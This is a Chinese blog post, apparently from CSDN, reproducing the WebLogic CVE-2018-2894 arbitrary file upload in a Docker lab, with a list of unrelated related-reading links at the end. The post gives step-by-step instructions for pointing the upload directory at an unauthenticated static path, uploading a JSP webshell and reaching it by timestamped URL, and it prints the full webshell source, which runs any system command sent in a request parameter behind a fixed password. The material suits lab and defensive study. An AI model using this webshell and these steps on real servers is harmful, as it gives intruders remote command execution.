• weblogic/CVE-2018-2894文件上传漏洞复现


    启动docker环境

    查看帮助文档

    环境启动后,访问`http://your-ip:7001/console`,即可看到后台登录页面。

    执行`docker-compose logs | grep password`可查看管理员密码,管理员用户名为weblogic,密码为lFVAJ89F

    登录后台页面,点击`base_domain`的配置,在“高级”中开启“启用 Web 服务测试页”选项

    这样就成功了

    访问`http://your-ip:7001/ws_utc/config.do`,设置Work Home Dir为`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`。我将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

    然后点击安全 -> 增加,然后上传webshell:

    webshell内容

    1. <%
    2. if("123".equals(request.getParameter("pwd"))){
    3. java.io.InputStream in =
    4. Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    5. int a = -1;
    6. byte[] b = new byte[2048];
    7. out.print("
      ");
    8. while((a=in.read(b))!=-1){
    9. out.println(new String(b));
    10. }
    11. out.print("
    ");
  • }
  • %>
  • 上传后,查看返回的数据包,其中有时间戳:1693476162111

    然后访问`http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]`,即可执行webshell:

  • 相关阅读:
    PyTorch深度学习实战(19)——从零开始实现R-CNN目标检测
    【动态规划】45. 跳跃游戏 II
    el-dialog element-ui弹窗
    Java 中的参数传递方式
    物联网开发笔记(53)- 使用Micropython开发ESP32开发板之蓝牙BLE通信
    网段与广播域
    2022广东网络安全省赛—代码渗透测试wp
    go测试库之apitest
    LeetCode_栈_中等_227.基本计算器 II(不含括号)
    什么软件可以图片转文字?这几个软件值得收藏
  • 原文地址:https://blog.csdn.net/weixin_56537388/article/details/132607962